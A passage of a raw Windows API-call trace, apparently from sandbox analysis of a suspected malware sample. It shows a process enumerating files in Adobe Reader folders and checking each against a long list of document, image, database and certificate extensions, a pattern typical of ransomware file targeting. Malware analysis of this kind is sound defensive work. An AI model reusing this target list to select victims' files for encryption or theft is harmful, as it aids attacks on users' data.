returned 5 [0285.267] lstrcmpiW (lpString1=".anim", lpString2="s.png") returned -1 [0285.267] lstrlenW (lpString=".arw") returned 4 [0285.267] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".as") returned 3 [0285.267] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0285.267] lstrlenW (lpString=".asa") returned 4 [0285.267] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".asc") returned 4 [0285.267] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".ascx") returned 5 [0285.267] lstrcmpiW (lpString1=".ascx", lpString2="s.png") returned -1 [0285.267] lstrlenW (lpString=".asm") returned 4 [0285.267] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".asmx") returned 5 [0285.267] lstrcmpiW (lpString1=".asmx", lpString2="s.png") returned -1 [0285.267] lstrlenW (lpString=".asp") returned 4 [0285.267] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".aspx") returned 5 [0285.267] lstrcmpiW (lpString1=".aspx", lpString2="s.png") returned -1 [0285.267] lstrlenW (lpString=".asr") returned 4 [0285.267] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".asx") returned 4 [0285.267] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".avi") returned 4 [0285.268] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".avs") returned 4 [0285.268] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".backup") returned 7 [0285.268] lstrcmpiW (lpString1=".backup", lpString2="ons.png") returned -1 [0285.268] lstrlenW (lpString=".bak") returned 4 [0285.268] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".bay") returned 4 [0285.268] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".bd") returned 3 [0285.268] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0285.268] lstrlenW (lpString=".bin") returned 4 [0285.268] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".bmp") returned 4 [0285.268] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".bz2") returned 4 [0285.268] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".c") returned 2 [0285.268] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0285.268] lstrlenW (lpString=".cdr") returned 4 [0285.268] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".cer") returned 4 [0285.268] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".cf") returned 3 [0285.268] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0285.268] lstrlenW (lpString=".cfc") returned 4 [0285.268] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0285.268] lstrlenW (lpString=".cfm") returned 4 [0285.268] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".cfml") returned 5 [0285.269] lstrcmpiW (lpString1=".cfml", lpString2="s.png") returned -1 [0285.269] lstrlenW (lpString=".cfu") returned 4 [0285.269] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".chm") returned 4 [0285.269] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".cin") returned 4 [0285.269] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".class") returned 6 [0285.269] lstrcmpiW (lpString1=".class", lpString2="ns.png") returned -1 [0285.269] lstrlenW (lpString=".clx") returned 4 [0285.269] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".config") returned 7 [0285.269] lstrcmpiW (lpString1=".config", lpString2="ons.png") returned -1 [0285.269] lstrlenW (lpString=".cpp") returned 4 [0285.269] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".cr2") returned 4 [0285.269] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".crt") returned 4 [0285.269] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".crw") returned 4 [0285.269] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".cs") returned 3 [0285.269] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0285.269] lstrlenW (lpString=".css") returned 4 [0285.269] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".csv") returned 4 [0285.269] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0285.269] lstrlenW (lpString=".cub") returned 4 [0285.269] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dae") returned 4 [0285.270] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dat") returned 4 [0285.270] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".db") returned 3 [0285.270] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0285.270] lstrlenW (lpString=".dbf") returned 4 [0285.270] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dbx") returned 4 [0285.270] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dc3") returned 4 [0285.270] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dcm") returned 4 [0285.270] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dcr") returned 4 [0285.270] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".der") returned 4 [0285.270] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dib") returned 4 [0285.270] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dic") returned 4 [0285.270] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".dif") returned 4 [0285.270] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0285.270] lstrlenW (lpString=".divx") returned 5 [0285.270] lstrcmpiW (lpString1=".divx", lpString2="s.png") returned -1 [0285.270] lstrlenW (lpString=".djvu") returned 5 [0285.270] lstrcmpiW (lpString1=".djvu", lpString2="s.png") returned -1 [0285.270] lstrlenW (lpString=".dng") returned 4 [0285.270] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".doc") returned 4 [0285.271] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".docm") returned 5 [0285.271] lstrcmpiW (lpString1=".docm", lpString2="s.png") returned -1 [0285.271] lstrlenW (lpString=".docx") returned 5 [0285.271] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0285.271] lstrlenW (lpString=".dot") returned 4 [0285.271] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".dotm") returned 5 [0285.271] lstrcmpiW (lpString1=".dotm", lpString2="s.png") returned -1 [0285.271] lstrlenW (lpString=".dotx") returned 5 [0285.271] lstrcmpiW (lpString1=".dotx", lpString2="s.png") returned -1 [0285.271] lstrlenW (lpString=".dpx") returned 4 [0285.271] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".dqy") returned 4 [0285.271] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".dsn") returned 4 [0285.271] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".dt") returned 3 [0285.271] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0285.271] lstrlenW (lpString=".dtd") returned 4 [0285.271] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".dwg") returned 4 [0285.271] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".dwt") returned 4 [0285.271] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0285.271] lstrlenW (lpString=".dx") returned 3 [0285.271] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0285.271] lstrlenW (lpString=".dxf") returned 4 [0285.272] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".edml") returned 5 [0285.272] lstrcmpiW (lpString1=".edml", lpString2="s.png") returned -1 [0285.272] lstrlenW (lpString=".efd") returned 4 [0285.272] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".elf") returned 4 [0285.272] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".emf") returned 4 [0285.272] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".emz") returned 4 [0285.272] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".epf") returned 4 [0285.272] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".eps") returned 4 [0285.272] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".epsf") returned 5 [0285.272] lstrcmpiW (lpString1=".epsf", lpString2="s.png") returned -1 [0285.272] lstrlenW (lpString=".epsp") returned 5 [0285.272] lstrcmpiW (lpString1=".epsp", lpString2="s.png") returned -1 [0285.272] lstrlenW (lpString=".erf") returned 4 [0285.272] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".exr") returned 4 [0285.272] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".f4v") returned 4 [0285.272] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".fido") returned 5 [0285.272] lstrcmpiW (lpString1=".fido", lpString2="s.png") returned -1 [0285.272] lstrlenW (lpString=".flm") returned 4 [0285.272] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0285.272] lstrlenW (lpString=".flv") returned 4 [0285.273] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".frm") returned 4 [0285.273] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".fxg") returned 4 [0285.273] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".geo") returned 4 [0285.273] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".gif") returned 4 [0285.273] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".grs") returned 4 [0285.273] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".gz") returned 3 [0285.273] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0285.273] lstrlenW (lpString=".h") returned 2 [0285.273] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0285.273] lstrlenW (lpString=".hdr") returned 4 [0285.273] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".hpp") returned 4 [0285.273] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".hta") returned 4 [0285.273] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".htc") returned 4 [0285.273] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".htm") returned 4 [0285.273] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".html") returned 5 [0285.273] lstrcmpiW (lpString1=".html", lpString2="s.png") returned -1 [0285.273] lstrlenW (lpString=".icb") returned 4 [0285.273] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0285.273] lstrlenW (lpString=".ics") returned 4 [0285.274] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".iff") returned 4 [0285.274] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".inc") returned 4 [0285.274] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".indd") returned 5 [0285.274] lstrcmpiW (lpString1=".indd", lpString2="s.png") returned -1 [0285.274] lstrlenW (lpString=".ini") returned 4 [0285.274] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".iqy") returned 4 [0285.274] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".j2c") returned 4 [0285.274] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".j2k") returned 4 [0285.274] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".java") returned 5 [0285.274] lstrcmpiW (lpString1=".java", lpString2="s.png") returned -1 [0285.274] lstrlenW (lpString=".jp2") returned 4 [0285.274] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".jpc") returned 4 [0285.274] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".jpe") returned 4 [0285.274] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".jpeg") returned 5 [0285.274] lstrcmpiW (lpString1=".jpeg", lpString2="s.png") returned -1 [0285.274] lstrlenW (lpString=".jpf") returned 4 [0285.274] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".jpg") returned 4 [0285.274] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0285.274] lstrlenW (lpString=".jpx") returned 4 [0285.274] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".js") returned 3 [0285.275] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0285.275] lstrlenW (lpString=".jsf") returned 4 [0285.275] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".json") returned 5 [0285.275] lstrcmpiW (lpString1=".json", lpString2="s.png") returned -1 [0285.275] lstrlenW (lpString=".jsp") returned 4 [0285.275] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".kdc") returned 4 [0285.275] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".kmz") returned 4 [0285.275] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".kwm") returned 4 [0285.275] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".lasso") returned 6 [0285.275] lstrcmpiW (lpString1=".lasso", lpString2="ns.png") returned -1 [0285.275] lstrlenW (lpString=".lbi") returned 4 [0285.275] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".lgf") returned 4 [0285.275] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".lgp") returned 4 [0285.275] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".log") returned 4 [0285.275] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".m1v") returned 4 [0285.275] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".m4a") returned 4 [0285.275] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0285.275] lstrlenW (lpString=".m4v") returned 4 [0285.276] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".max") returned 4 [0285.276] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".md") returned 3 [0285.276] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0285.276] lstrlenW (lpString=".mda") returned 4 [0285.276] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mdb") returned 4 [0285.276] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mde") returned 4 [0285.276] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mdf") returned 4 [0285.276] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mdw") returned 4 [0285.276] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mef") returned 4 [0285.276] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mft") returned 4 [0285.276] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mfw") returned 4 [0285.276] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mht") returned 4 [0285.276] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0285.276] lstrlenW (lpString=".mhtml") returned 6 [0285.277] lstrcmpiW (lpString1=".mhtml", lpString2="ns.png") returned -1 [0285.277] lstrlenW (lpString=".mka") returned 4 [0285.277] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".mkidx") returned 6 [0285.277] lstrcmpiW (lpString1=".mkidx", lpString2="ns.png") returned -1 [0285.277] lstrlenW (lpString=".mkv") returned 4 [0285.277] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".mos") returned 4 [0285.277] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".mov") returned 4 [0285.277] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".mp3") returned 4 [0285.277] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".mp4") returned 4 [0285.277] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".mpeg") returned 5 [0285.277] lstrcmpiW (lpString1=".mpeg", lpString2="s.png") returned -1 [0285.277] lstrlenW (lpString=".mpg") returned 4 [0285.277] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".mpv") returned 4 [0285.277] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".mrw") returned 4 [0285.277] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0285.277] lstrlenW (lpString=".msg") returned 4 [0285.277] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".mxl") returned 4 [0285.278] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".myd") returned 4 [0285.278] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".myi") returned 4 [0285.278] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".nef") returned 4 [0285.278] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".nrw") returned 4 [0285.278] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".obj") returned 4 [0285.278] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".odb") returned 4 [0285.278] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".odc") returned 4 [0285.278] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".odm") returned 4 [0285.278] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".odp") returned 4 [0285.278] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".ods") returned 4 [0285.278] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".oft") returned 4 [0285.278] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0285.278] lstrlenW (lpString=".one") returned 4 [0285.278] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".onepkg") returned 7 [0285.279] lstrcmpiW (lpString1=".onepkg", lpString2="ons.png") returned -1 [0285.279] lstrlenW (lpString=".onetoc2") returned 8 [0285.279] lstrcmpiW (lpString1=".onetoc2", lpString2="cons.png") returned -1 [0285.279] lstrlenW (lpString=".opt") returned 4 [0285.279] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".oqy") returned 4 [0285.279] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".orf") returned 4 [0285.279] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".p12") returned 4 [0285.279] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".p7b") returned 4 [0285.279] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".p7c") returned 4 [0285.279] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".pam") returned 4 [0285.279] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".pbm") returned 4 [0285.279] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".pct") returned 4 [0285.279] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".pcx") returned 4 [0285.279] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".pdd") returned 4 [0285.279] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0285.279] lstrlenW (lpString=".pdf") returned 4 [0285.280] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".pdp") returned 4 [0285.280] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".pef") returned 4 [0285.280] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".pem") returned 4 [0285.280] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".pff") returned 4 [0285.280] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".pfm") returned 4 [0285.280] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".pfx") returned 4 [0285.280] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".pgm") returned 4 [0285.280] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".php") returned 4 [0285.280] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0285.280] lstrlenW (lpString=".php3") returned 5 [0285.280] lstrcmpiW (lpString1=".php3", lpString2="s.png") returned -1 [0285.280] lstrlenW (lpString=".php4") returned 5 [0285.280] lstrcmpiW (lpString1=".php4", lpString2="s.png") returned -1 [0285.280] lstrlenW (lpString=".php5") returned 5 [0285.280] lstrcmpiW (lpString1=".php5", lpString2="s.png") returned -1 [0285.280] lstrlenW (lpString=".phtml") returned 6 [0285.280] lstrcmpiW (lpString1=".phtml", lpString2="ns.png") returned -1 [0285.280] lstrlenW (lpString=".pict") returned 5 [0285.280] lstrcmpiW (lpString1=".pict", lpString2="s.png") returned -1 [0285.280] lstrlenW (lpString=".pl") returned 3 [0285.280] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0285.280] lstrlenW (lpString=".pls") returned 4 [0285.280] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0285.281] lstrlenW (lpString=".pm") returned 3 [0285.281] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0285.281] lstrlenW (lpString=".png") returned 4 [0285.281] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0285.281] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.281] lstrlenW (lpString="aic_file_icons_retina_thumb.png") returned 31 [0285.281] lstrlenW (lpString=".1cd") returned 4 [0285.281] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0285.281] lstrlenW (lpString=".3ds") returned 4 [0285.281] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0285.281] lstrlenW (lpString=".3fr") returned 4 [0285.281] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0285.281] lstrlenW (lpString=".3g2") returned 4 [0285.281] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0285.281] lstrlenW (lpString=".3gp") returned 4 [0285.281] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0285.281] lstrlenW (lpString=".7z") returned 3 [0285.281] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0285.281] lstrlenW (lpString=".accda") returned 6 [0285.281] lstrcmpiW (lpString1=".accda", lpString2="mb.png") returned -1 [0285.281] lstrlenW (lpString=".accdb") returned 6 [0285.281] lstrcmpiW (lpString1=".accdb", lpString2="mb.png") returned -1 [0285.281] lstrlenW (lpString=".accdc") returned 6 [0285.281] lstrcmpiW (lpString1=".accdc", lpString2="mb.png") returned -1 [0285.281] lstrlenW (lpString=".accde") returned 6 [0285.281] lstrcmpiW (lpString1=".accde", lpString2="mb.png") returned -1 [0285.281] lstrlenW (lpString=".accdt") returned 6 [0285.281] lstrcmpiW (lpString1=".accdt", lpString2="mb.png") returned -1 [0285.281] lstrlenW (lpString=".accdw") returned 6 [0285.281] lstrcmpiW (lpString1=".accdw", lpString2="mb.png") returned -1 [0285.282] lstrlenW (lpString=".adb") returned 4 [0285.282] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0285.282] lstrlenW (lpString=".adp") returned 4 [0285.282] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0285.282] lstrlenW (lpString=".ai") returned 3 [0285.282] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0285.369] lstrlenW (lpString=".ai3") returned 4 [0285.369] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0285.369] lstrlenW (lpString=".ai4") returned 4 [0285.369] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0285.369] lstrlenW (lpString=".ai5") returned 4 [0285.369] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0285.369] lstrlenW (lpString=".ai6") returned 4 [0285.369] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0285.369] lstrlenW (lpString=".ai7") returned 4 [0285.369] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0285.369] lstrlenW (lpString=".ai8") returned 4 [0285.369] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0285.369] lstrlenW (lpString=".anim") returned 5 [0285.369] lstrcmpiW (lpString1=".anim", lpString2="b.png") returned -1 [0285.369] lstrlenW (lpString=".arw") returned 4 [0285.369] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0285.369] lstrlenW (lpString=".as") returned 3 [0285.369] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0285.369] lstrlenW (lpString=".asa") returned 4 [0285.370] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0285.370] lstrlenW (lpString=".asc") returned 4 [0285.370] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0285.370] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.370] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0285.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0285.370] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\*", lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0x380c320 [0285.449] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0285.449] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x3f7e420 | out: 